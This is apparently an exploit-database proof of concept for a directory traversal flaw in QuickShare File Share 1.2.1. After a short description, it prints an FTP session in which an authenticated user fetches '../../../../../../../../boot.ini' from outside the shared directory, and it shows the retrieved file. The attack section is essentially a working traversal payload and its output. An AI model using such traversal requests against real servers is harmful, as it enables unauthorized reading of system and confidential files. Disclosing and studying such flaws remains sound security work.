#!/usr/bin/python
 
# Exploit Title: QuickShare File Share 1.2.1 Directory Traversal Vulnerability
# Date: 02/03/2011
# Author: modpr0be
# Software Link: http://www.quicksharehq.com/files/qfssetup.exe
# Vulnerable version: 1.2.1
# Tested on: Windows XP SP3 (VMware Player 3.1.3 build-324285)
# CVE : N/A
 
# ======================================================================
#        ___       _ __        __            __    _     __
#   ____/ (_)___ _(_) /_____ _/ / ___  _____/ /_  (_)___/ /___  ____ _
#  / __  / / __ `/ / __/ __ `/ / / _ \/ ___/ __ \/ / __  / __ \/ __ `/
# / /_/ / / /_/ / / /_/ /_/ / / /  __/ /__/ / / / / /_/ / / / / /_/ /
# \__,_/_/\__, /_/\__/\__,_/_/  \___/\___/_/ /_/_/\__,_/_/ /_/\__,_/
#        /____/                          http://www.digital-echidna.org
# ======================================================================
#
# Greetz:
#   say hello to all digital-echidna org crew:
#     otoy, cipherstring, bean, s3o, d00m, n0rf0x, fm, gotechidna, manix
#   special thx:
#     otoy, cipherstring, cyb3r.anbu, oebaj.
#   help for documentation:    
#     offsec, exploit-db, corelan-team, 5M7X, loneferret.
#
 
#### Software description:
# QuickShare File Server is a easy to use file sharing software helps you
# build your own file server. Users could access your server through web
# browsers or FTP client softwares (In most case, they need not to install
# any extra softwares). Users could send or receive large files to or from you.
# You could create account and set password to protect your files.
#
#### Exploit information:
# It's a directory traversal. User without prior permission can get a file
# outside the specified directory (e.g. get a file from %systemroot%).
#
# This vulnerability can be exploited by anonymous or authenticated users.
#
##
 
# Below is the proof of concept
# authenticated user logged in to the quickshare ftp server from Ubuntu Linux.
#
 
modpr0be@digital-echidna:~$ ftp 10.5.5.27
Connected to 10.5.5.27.
220 quickshare ftpd ready.
Name (10.5.5.27:modpr0be): ftpuser
331 User name okay, need password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get ../../../../../../../../boot.ini boot.ini
local: boot.ini remote: ../../../../../../../../boot.ini
200 PORT command successful. Consider using PASV.
150 Opening BINARY connection.
226 File send OK.
211 bytes received in 0.00 secs (127.0 kB/s)
ftp> quit
221 Goodbye.
modpr0be@digital-echidna:~$ cat boot.ini
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect
modpr0be@digital-echidna:~$
 
# Eof